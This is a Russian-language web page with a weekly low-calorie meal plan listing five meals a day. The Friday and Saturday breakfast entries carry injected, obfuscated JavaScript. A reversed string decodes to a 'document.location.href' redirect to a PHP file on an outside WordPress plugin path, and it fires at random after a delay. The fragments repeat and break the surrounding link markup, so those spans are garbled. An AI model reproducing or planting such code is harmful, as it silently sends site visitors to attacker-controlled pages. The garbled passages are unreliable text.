Меню правильного питания на неделю

Ограничение калорий в рационе — один из способов избавиться от лишних килограммов. Однако ограничивать себя в калориях следует с умом.

Низкокалорийное меню на неделю

• Понедельник

1. Завтрак: мюсли, заправленные йогуртом, яблоко (кислое или кисло-сладкое) или груша, кофе или чай.
2. Второй завтрак: заправленный нежирной сметаной творог, горсть сухофруктов.
3. Обед: овощной суп, запеченный картофель, салат из свежих овощей, куриная грудка.
4. Полдник: кефир.
5. Ужин: отварное филе птицы, винегрет, чай.

• Вторник

1. Завтрак: каша гречневая, салат из овощей, чай.
2. Второй завтрак: яблоко, йогурт.
3. Обед: суп с крупой на бульоне из овощей, запеченная рыба с гарниром из бурого риса, компот.
4. Полдник: какао, творог.
5. Ужин: рагу из овощей, куриная грудка, чай.

• Среда

1. Завтрак: овсяная каша, запеченное в духовке яблоко, чай с медом.
2. Второй завтрак: йогурт, тосты.
3. Обед: рыбный суп, отварная телятина с тушеными овощами, сок.
4. Полдник: йогурт, творог.
5. Ужин: мясо, бурый рис, салат из овощей, чай.

• Четверг

1. Завтрак: омлет, салат из овощей, тосты, чай.
2. Второй завтрак: банан, кефир.
3. Обед: суп на курином бульоне и овощами, винегрет, рыба на гриле, компот.
4. Полдник: творог со сметаной, сухофрукты.
5. Ужин: мясо с овощами, запеченное в духовке, йогурт.

• Пятница:

1. $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-est-na-zavtrak-chtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toby-bystro-pohudet/» target=»_blank» rel=»noopener»>Завтрак: каша рисовая с сухофруктами, кофе.
2. Второй завтрак: печенье галетное с соком.
3. Обед: борщ, куриная котлета, гречка, компот.
4. Полдник: йогурт, фруктовый салат.
5. Ужин: телятина отварная, овощной салат.

• Суббота

1. Завтрак: $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovit-tvorozhnuyu-zapekanku-vkusno-i-polezno/» target=»_blank» rel=»noopener»>творожная запеканка с медом, тост, чай.
2. Второй завтрак: банан, йогурт.
3. Обед: гречневый суп, картофельное пюре, рыбные котлеты, компот из сухофруктов.
4. Полдник: йогурт, орехи, сухофрукты.
5. Ужин: нежирная ветчина, рагу из овощей, чай.

• Воскресенье

1. Завтрак: овсяная каша, фрукты, кофе.
2. Второй завтрак: йогурт, крекеры.
3. Обед: щи на мясном бульоне, курица отварная, овощи на гриле, компот.
4. Полдник: творог с сухофруктами.
5. Ужин: омлет, овощной салат, чай.